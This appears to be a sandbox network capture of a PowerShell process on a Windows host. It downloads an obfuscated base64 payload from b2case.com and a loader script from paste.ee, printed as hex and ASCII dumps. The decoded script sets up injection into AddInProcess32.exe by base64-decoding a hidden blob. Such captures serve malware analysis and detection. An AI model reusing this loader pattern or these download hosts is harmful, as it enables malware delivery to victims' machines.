2024-10-22 04:17:13 UTC	1369	IN	Data Raw: e2 86 93 e2 86 93 3a e2 86 93 42 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 56 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4a 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 6c 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 43 e2 86 93 3a e2 86 93 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f 49 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 Data Ascii: :BQ:::GE::::V::::Jg:::HU::::4lw:::Be::Q::BC:D::::OIw::
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b 67 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 Data Ascii: ::MwC::M:::::::::Dg::::::CgC:::GKgMwC::M:::::::::Dg:
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: 86 93 e2 86 93 3a e2 86 93 44 67 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 6a 6a 45 2f 2f 2f 2f 4f 75 66 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 7a 76 2f 2f 2f 7a 6a 58 2f 2f 2f 2f 4f 4b 44 2f 2f 2f 38 34 32 2f 2f 2f 2f 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d 77 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a Data Ascii: :Dgg::::KjjE////Ouf///8mI::::::4zv///zjX////OKD///842////w::::MwC::M:::::::::Dg:::
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 66 67 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 55 2f 67 45 71 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 4d e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 34 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 4b 67 e2 86 93 3a Data Ascii: :::Dg:::::fgQ:::QU/gEq:::DM:g:Cw:::::::::4:::::H4E:::EKg:
2024-10-22 04:17:13 UTC	1369	IN	Data Raw: e2 86 93 3a e2 86 93 48 36 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 65 30 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 34 55 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 68 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4f 44 6e 2f 2f 2f 38 34 74 66 2f 2f 2f 7a 67 7a 2f 2f 2f 2f 4f 53 37 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 65 50 2f 2f 2f 7a 67 65 2f 2f 2f 2f 4f 68 6e 2f 2f 2f 38 6d 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 34 68 76 2f 2f 2f 7a 67 Data Ascii: :H6x:::Ee0s:::Q4Uw:::Dhe::::ODn///84tf///zgz////OS7///8mI::::::4eP///zge////Ohn///8mI::::::4hv///zg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	188.114.96.3	443	1928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:15 UTC	69	OUT	GET /class.txt HTTP/1.1 Host: b2case.com Connection: Keep-Alive
2024-10-22 04:17:16 UTC	839	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:16 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Last-Modified: Tue, 22 Oct 2024 03:17:47 GMT ETag: W/"a1000-6250836a4ccc0-gzip" Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EE7bzH349YYPR2ryJ1t5D12rXKt1bDswXyRO8hrRRXXP0RTEFuuh7dLZeAReseNI6ipgFpSiWsyaegFuZxAchGlEGyyssujiSBgRABh5ItiZOhHLt8%2FQ4bT4mLq9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d66ad39a9c46b11-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=683&delivery_rate=2364081&cwnd=225&unsent_bytes=0&cid=75d2527444612c1c&ts=421&x=0"
2024-10-22 04:17:16 UTC	530	IN	Data Raw: 34 34 33 30 0d 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 Data Ascii: 4430AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdx
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 6f 5a 44 57 32 51 6c 4e 34 59 44 4e 32 77 68 4e 59 59 44 45 31 51 66 4e 77 58 44 36 31 41 5a 4e 45 57 44 5a 31 67 56 4e 51 56 44 50 31 51 54 4e 77 55 44 4c 31 51 53 4e 63 55 44 46 31 41 41 4e 34 54 44 39 30 41 50 4e 6f 54 44 34 30 67 4e 4e 45 54 44 76 30 67 4b 4e 67 53 44 6e 30 67 4a 4e 51 53 44 69 30 41 49 4e 73 52 44 5a 30 41 47 4e 59 52 44 55 30 67 45 4e 45 52 44 4b 30 51 43 4e 4d 4d 44 2f 7a 67 38 4d 41 50 44 74 7a 51 36 4d 77 4e 44 61 7a 77 31 4d 4d 4e 44 47 7a 41 78 4d 45 49 44 39 79 41 73 4d 34 4b 44 72 79 77 70 4d 6f 4a 44 59 79 51 6c 4d 45 4a 44 45 79 67 51 4d 38 48 44 37 78 67 62 4d 77 47 44 70 78 51 5a 4d 67 46 44 57 78 77 55 4d 38 45 44 43 78 41 41 4d 30 44 44 37 77 51 4f 4d 77 43 44 71 77 77 4a 4d 55 43 44 6a 77 67 46 4d 51 42 44 52 77 77 44 Data Ascii: oZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwD
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 39 44 63 2f 67 32 50 67 39 44 57 2f 41 31 50 49 39 44 51 2f 67 7a 50 77 38 44 4b 2f 41 79 50 59 38 44 45 2f 67 77 50 41 34 44 2b 2b 41 76 50 6f 37 44 34 2b 67 74 50 51 37 44 79 2b 41 73 50 34 36 44 73 2b 67 71 50 67 36 44 6d 2b 41 70 50 49 36 44 67 2b 67 6e 50 77 35 44 61 2b 41 6d 50 59 35 44 55 2b 67 6b 50 41 35 44 4f 2b 41 6a 50 6f 34 44 49 2b 67 68 50 51 34 44 43 2b 41 51 50 34 33 44 38 39 67 65 50 67 33 44 32 39 41 64 50 49 33 44 77 39 67 62 50 77 32 44 71 39 41 61 50 59 32 44 6b 39 67 59 50 41 32 44 65 39 41 58 50 6f 31 44 59 39 67 56 50 51 31 44 53 39 41 55 50 34 30 44 4d 39 67 53 50 67 30 44 47 39 41 52 50 49 30 44 41 38 67 50 50 77 7a 44 36 38 41 4f 50 59 7a 44 30 38 67 4d 50 41 7a 44 75 38 41 4c 50 6f 79 44 6f 38 67 4a 50 51 79 44 69 38 41 49 50 Data Ascii: 9Dc/g2Pg9DW/A1PI9DQ/gzPw8DK/AyPY8DE/gwPA4D++AvPo7D4+gtPQ7Dy+AsP46Ds+gqPg6Dm+ApPI6Dg+gnPw5Da+AmPY5DU+gkPA5DO+AjPo4DI+ghPQ4DC+AQP43D89gePg3D29AdPI3Dw9gbPw2Dq9AaPY2Dk9gYPA2De9AXPo1DY9gVPQ1DS9AUP40DM9gSPg0DG9ARPI0DA8gPPwzD68AOPYzD08gMPAzDu8ALPoyDo8gJPQyDi8AIP
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 44 36 37 51 2b 4f 67 76 44 33 37 67 39 4f 55 76 44 30 37 77 38 4f 41 76 44 76 37 67 37 4f 30 75 44 73 37 77 36 4f 6f 75 44 70 37 41 36 4f 63 75 44 6d 37 51 35 4f 51 75 44 6a 37 67 34 4f 45 75 44 67 37 77 33 4f 34 74 44 64 37 41 33 4f 73 74 44 61 37 51 32 4f 67 74 44 58 37 67 31 4f 55 74 44 55 37 77 30 4f 49 74 44 52 37 41 30 4f 38 73 44 4f 37 51 7a 4f 77 73 44 4c 37 67 79 4f 6b 73 44 49 37 77 78 4f 59 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 6b 53 44 6f 30 77 4a 4e 59 53 44 6c 30 41 4a 4e 4d 53 44 69 30 51 49 4e 41 53 44 66 30 67 48 4e 30 52 44 63 30 77 47 4e 6f 52 44 59 30 77 46 4e 59 52 44 56 30 41 46 4e 4d 52 44 52 30 67 44 4e 30 51 44 4d 30 77 43 4e 6f 51 44 4a 30 41 43 4e 63 51 44 46 30 41 42 4e 4d 51 44 43 30 51 41 4e 41 4d 44 2f 7a 67 2f 4d 77 Data Ascii: D67Q+OgvD37g9OUvD07w8OAvDv7g7O0uDs7w6OouDp7A6OcuDm7Q5OQuDj7g4OEuDg7w3O4tDd7A3OstDa7Q2OgtDX7g1OUtDU7w0OItDR7A0O8sDO7QzOwsDL7gyOksDI7wxOYAAAAAOAFAOAAAANkSDo0wJNYSDl0AJNMSDi0QINASDf0gHN0RDc0wGNoRDY0wFNYRDV0AFNMRDR0gDN0QDM0wCNoQDJ0ACNcQDF0ABNMQDC0QANAMD/zg/Mw
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 6e 38 51 4a 50 4d 79 44 68 38 77 48 50 30 78 44 62 38 51 47 50 63 78 44 56 38 77 45 50 45 78 44 50 38 51 44 50 73 77 44 4a 38 77 42 50 55 77 44 44 38 51 77 4f 38 76 44 39 37 77 2b 4f 6b 76 44 33 37 51 39 4f 4d 76 44 78 37 77 37 4f 30 75 44 72 37 51 36 4f 63 75 44 6c 37 77 34 4f 45 75 44 66 37 51 33 4f 73 74 44 5a 37 77 31 4f 55 74 44 54 37 51 30 4f 38 73 44 4e 37 77 79 4f 6b 73 44 48 37 51 78 4f 4d 73 44 42 36 77 76 4f 30 72 44 37 36 51 75 4f 63 72 44 31 36 77 73 4f 45 72 44 76 36 51 72 4f 73 71 44 70 36 77 70 4f 55 71 44 6a 36 51 6f 4f 38 70 44 64 36 77 6d 4f 6b 70 44 58 36 51 6c 4f 4d 70 44 52 36 77 6a 4f 30 6f 44 4c 36 51 69 4f 63 6f 44 46 36 77 67 4f 45 6b 44 2f 35 51 66 4f 73 6e 44 35 35 77 64 4f 55 6e 44 7a 35 51 63 4f 38 6d 44 74 35 77 61 4f 6b 6d Data Ascii: n8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz5QcO8mDt5waOkm
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 37 4d 32 4f 2b 73 44 48 36 63 76 4f 6f 72 54 32 36 51 42 4f 47 6a 6a 48 34 49 77 4e 2b 64 54 59 7a 55 35 4d 50 4f 7a 65 7a 30 31 4d 4c 4e 6a 52 78 63 65 4d 7a 47 6a 67 78 77 58 4d 56 41 6a 4b 77 73 42 4d 50 41 41 41 41 51 4b 41 46 41 48 41 41 41 77 50 2f 2f 6a 34 2f 6f 39 50 77 2b 54 61 2f 6b 30 50 39 38 54 4d 2f 30 78 50 52 34 7a 72 2b 63 71 50 4a 36 54 67 2b 6b 6e 50 78 35 54 61 2b 6f 52 50 2b 7a 54 63 38 63 47 50 39 77 44 4d 37 34 38 4f 39 75 7a 74 37 49 37 4f 73 75 6a 6a 37 55 34 4f 38 74 7a 5a 36 4d 75 4f 4b 72 6a 67 36 41 6e 4f 6a 70 44 57 36 51 6a 4f 45 6b 7a 39 35 30 64 4f 79 6c 6a 4d 34 38 7a 4e 2f 61 7a 34 32 34 35 4d 67 50 6a 32 78 6f 62 4d 78 46 54 54 78 6f 54 4d 75 45 6a 49 78 59 42 4d 52 44 54 75 77 34 49 4d 76 42 44 58 77 41 46 4d 45 42 7a Data Ascii: 7M2O+sDH6cvOorT26QBOGjjH4IwN+dTYzU5MPOzez01MLNjRxceMzGjgxwXMVAjKwsBMPAAAAQKAFAHAAAwP//j4/o9Pw+Ta/k0P98TM/0xPR4zr+cqPJ6Tg+knPx5Ta+oRP+zTc8cGP9wDM748O9uzt7I7Osujj7U4O8tzZ6MuOKrjg6AnOjpDW6QjOEkz950dOyljM48zN/az4245MgPj2xobMxFTTxoTMuEjIxYBMRDTuw4IMvBDXwAFMEBz
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 77 48 4f 37 68 6a 4a 34 59 78 4e 35 66 54 68 32 41 74 4e 70 56 54 34 31 51 5a 4e 4a 57 54 64 31 67 56 4e 68 51 7a 33 30 34 36 4d 79 4f 7a 6f 7a 63 35 4d 48 4f 6a 61 7a 49 32 4d 34 49 54 34 79 55 74 4d 4a 4c 54 74 79 6b 71 4d 48 4a 7a 50 79 45 69 4d 5a 49 54 45 79 6b 51 4d 39 47 6a 58 78 59 42 4d 36 44 44 76 77 49 4c 4d 51 43 44 66 77 38 46 4d 77 41 54 47 41 41 41 41 38 43 41 42 51 44 41 41 41 38 6a 36 2f 55 39 50 46 2b 54 59 2b 67 6c 50 30 30 6a 69 39 41 55 50 6a 77 44 38 38 67 4e 50 50 78 7a 4e 38 73 79 4f 31 76 6a 34 37 51 36 4f 56 75 6a 56 36 45 76 4f 58 71 44 6a 36 38 6e 4f 63 70 6a 50 35 45 59 4f 34 67 7a 35 34 6f 4d 4f 32 69 54 4a 32 45 74 4e 43 5a 7a 49 32 51 51 4e 5a 54 7a 62 7a 49 30 4d 59 4d 6a 44 79 34 6b 4d 6b 49 44 42 78 45 64 4d 34 42 44 37 Data Ascii: wHO7hjJ4YxN5fTh2AtNpVT41QZNJWTd1gVNhQz3046MyOzozc5MHOjazI2M4IT4yUtMJLTtykqMHJzPyEiMZITEykQM9GjXxYBM6DDvwILMQCDfw8FMwATGAAAA8CABQDAAA8j6/U9PF+TY+glP00ji9AUPjwD88gNPPxzN8syO1vj47Q6OVujV6EvOXqDj68nOcpjP5EYO4gz54oMO2iTJ2EtNCZzI2QQNZTzbzI0MYMjDy4kMkIDBxEdM4BD7
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 36 4f 39 74 44 4f 34 77 43 4f 61 67 44 46 79 55 6d 4d 66 46 44 37 78 59 65 4d 49 47 54 57 78 38 55 4d 46 42 41 41 41 77 44 41 45 41 47 41 41 41 67 50 67 33 44 34 39 6b 42 50 2f 7a 44 37 38 49 4e 50 2f 79 54 70 37 63 37 4f 78 75 7a 48 36 6f 52 4f 69 6c 7a 57 35 41 55 4f 36 6b 7a 4d 35 55 53 4f 61 6b 7a 45 34 59 4f 4f 4e 6a 7a 4b 32 51 71 4e 68 59 44 42 31 77 66 4e 7a 58 7a 78 31 55 45 4e 30 54 44 37 30 6b 4a 4e 68 4a 6a 42 77 67 44 4d 6f 41 41 41 41 51 46 41 45 41 46 41 2f 4d 2b 50 6b 2b 54 49 2b 49 6d 50 49 31 7a 32 39 41 64 50 2b 32 44 75 37 63 5a 4f 35 6e 44 55 35 30 77 4e 74 66 54 59 33 41 6b 4e 31 62 54 36 32 55 74 4e 50 62 54 78 32 6f 72 4e 32 59 6a 4c 32 59 69 4e 58 59 54 44 32 49 51 4e 4f 58 6a 6c 30 38 49 4e 55 52 6a 46 7a 6f 2f 4d 6d 50 6a 6d 7a Data Ascii: 6O9tDO4wCOagDFyUmMfFD7xYeMIGTWx8UMFBAAAwDAEAGAAAgPg3D49kBP/zD78INP/yTp7c7OxuzH6oROilzW5AUO6kzM5USOakzE4YOONjzK2QqNhYDB1wfNzXzx1UEN0TD70kJNhJjBwgDMoAAAAQFAEAFA/M+Pk+TI+ImPI1z29AdP+2Du7cZO5nDU50wNtfTY3AkN1bT62UtNPbTx2orN2YjL2YiNXYTD2IQNOXjl08INURjFzo/MmPjmz
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 4e 4c 4d 44 38 7a 6f 2b 4d 63 50 7a 75 7a 73 36 4d 6d 4f 44 6c 78 63 44 4d 54 41 41 41 41 77 46 41 44 41 4b 41 41 41 77 50 45 2f 54 4e 2b 77 64 50 35 77 7a 34 34 77 71 4e 77 62 44 36 32 49 75 4e 4b 62 54 4b 30 30 46 4e 4d 4e 54 53 79 34 74 4d 5a 4c 54 77 79 63 6e 4d 58 4a 7a 42 78 59 62 4d 31 46 6a 53 77 45 50 4d 66 44 7a 31 77 38 46 41 41 41 41 51 41 4d 41 6b 41 38 44 71 2f 77 35 50 4b 2b 54 5a 2f 73 31 50 4c 39 6a 52 2f 34 7a 50 4f 38 54 43 2f 51 67 50 34 37 54 30 2b 77 73 50 48 37 7a 75 2b 63 70 50 53 36 54 6a 2b 45 6f 50 64 35 44 57 2b 4d 6c 50 4b 35 7a 49 2b 34 68 50 5a 34 54 43 39 63 65 50 5a 33 54 7a 39 34 62 50 69 32 44 65 39 41 58 50 5a 31 54 53 39 30 51 50 42 6f 54 6e 35 49 57 4f 30 6b 6a 4c 35 49 79 4e 6d 66 6a 34 33 34 39 4e 61 66 6a 31 33 49 Data Ascii: NLMD8zo+McPzuzs6MmODlxcDMTAAAAwFADAKAAAwPE/TN+wdP5wz44wqNwbD62IuNKbTK00FNMNTSy4tMZLTwycnMXJzBxYbM1FjSwEPMfDz1w8FAAAAQAMAkA8Dq/w5PK+TZ/s1PL9jR/4zPO8TC/QgP47T0+wsPH7zu+cpPS6Tj+EoPd5DW+MlPK5zI+4hPZ4TC9cePZ3Tz94bPi2De9AXPZ1TS90QPBoTn5IWO0kjL5IyNmfj4349Nafj13I
2024-10-22 04:17:16 UTC	1369	IN	Data Raw: 32 78 54 59 38 73 46 50 44 78 7a 4c 38 63 79 4f 66 76 54 32 37 45 38 4f 62 75 6a 69 37 41 34 4f 68 70 6a 74 36 55 51 4f 58 6d 6a 69 35 55 59 4f 6b 6c 7a 58 35 6f 56 4f 4a 6c 7a 47 34 73 4c 4f 53 69 7a 51 33 73 2b 4e 53 66 6a 79 33 4d 36 4e 57 65 44 4f 33 34 79 4e 63 63 6a 46 33 38 67 4e 36 62 44 31 32 4d 73 4e 7a 61 7a 70 32 51 70 4e 42 61 6a 4d 32 59 51 4e 6f 57 54 6c 31 6b 55 4e 44 56 6a 49 31 30 52 4e 54 55 44 43 30 34 50 4e 30 54 6a 37 30 67 4f 4e 69 54 44 33 30 6f 4d 4e 41 54 44 75 30 30 4b 4e 6e 53 54 6f 30 6f 49 4e 43 53 54 52 30 30 44 4e 76 51 54 4a 30 59 42 4e 4c 51 6a 42 30 41 77 4d 6e 50 6a 33 7a 6b 39 4d 4b 50 6a 76 7a 73 36 4d 6a 4f 7a 6a 7a 59 34 4d 42 4f 44 65 7a 4d 33 4d 73 4e 54 58 7a 63 31 4d 4b 4a 44 64 79 6f 6d 4d 67 4a 6a 56 79 77 6b Data Ascii: 2xTY8sFPDxzL8cyOfvT27E8Obuji7A4Ohpjt6UQOXmji5UYOklzX5oVOJlzG4sLOSizQ3s+NSfjy3M6NWeDO34yNccjF38gN6bD12MsNzazp2QpNBajM2YQNoWTl1kUNDVjI10RNTUDC04PN0Tj70gONiTD30oMNATDu00KNnSTo0oINCSTR00DNvQTJ0YBNLQjB0AwMnPj3zk9MKPjvzs6MjOzjzY4MBODezM3MsNTXzc1MKJDdyomMgJjVywk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	188.114.96.3	443	1928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 04:17:20 UTC	43	OUT	GET /d/r322U/0 HTTP/1.1 Host: paste.ee
2024-10-22 04:17:21 UTC	1225	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 04:17:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 582 Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtyiMkN5cyj%2BWQQSptCtqMBmum7BJd1wjGGJjIj5Yp3N9WZgqO4V83%2F5krvAAYizkhUwyNDf94PsppiCuxolt9EvlMn8DmMfemV4FhvrnPQOSvx8%2Fuin243Rew%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d66ad5a5d254686-DFW alt-svc: h3=":443"; ma=86400
2024-10-22 04:17:21 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 39 33 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 36 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 33 39 39 33 33 37 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 65 37 63 33 31 61 64 32 38 35 65 36 66 33 37 30 26 74 73 3d 33 30 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1193&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=681&delivery_rate=2399337&cwnd=251&unsent_bytes=0&cid=e7c31ad285e6f370&ts=304&x=0"
2024-10-22 04:17:21 UTC	582	IN	Data Raw: 24 7a 73 62 44 74 20 3d 20 27 43 3a 5c 57 69 6e 64 6f 77 73 5c 4d 69 63 72 6f 73 6f 66 74 2e 4e 45 54 5c 27 20 2b 20 27 46 72 61 6d 65 77 6f 72 6b 5c 76 34 2e 30 2e 33 30 33 31 39 5c 27 20 2b 20 27 41 64 64 49 6e 50 72 6f 63 65 73 73 33 32 2e 65 78 65 27 3b 0a 0a 24 58 6f 68 73 4b 20 3d 20 22 3f 3f 25 79 7a 58 56 4d 25 22 0a 0a 24 55 65 62 54 61 20 3d 20 27 e2 86 93 3a e2 86 93 27 3b 0a 24 58 4b 76 48 76 20 3d 20 27 41 27 3b 0a 0a 24 57 59 76 74 74 20 3d 20 27 25 71 6c 78 4b 50 25 27 2e 72 65 70 6c 61 63 65 28 20 24 55 65 62 54 61 2c 20 24 58 4b 76 48 76 20 29 3b 0a 5b 42 79 74 65 5b 5d 5d 20 24 6c 61 57 77 4a 20 3d 20 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 20 24 57 59 76 74 74 20 29 3b 0a Data Ascii: $zsbDt = 'C:\Windows\Microsoft.NET\' + 'Framework\v4.0.30319\' + 'AddInProcess32.exe';$XohsK = "??%yzXVM%"$UebTa = ':';$XKvHv = 'A';$WYvtt = '%qlxKP%'.replace( $UebTa, $XKvHv );[Byte[]] $laWwJ = [System.Convert]::FromBase64String( $WYvtt );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	104.20.4.235	443	7820	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

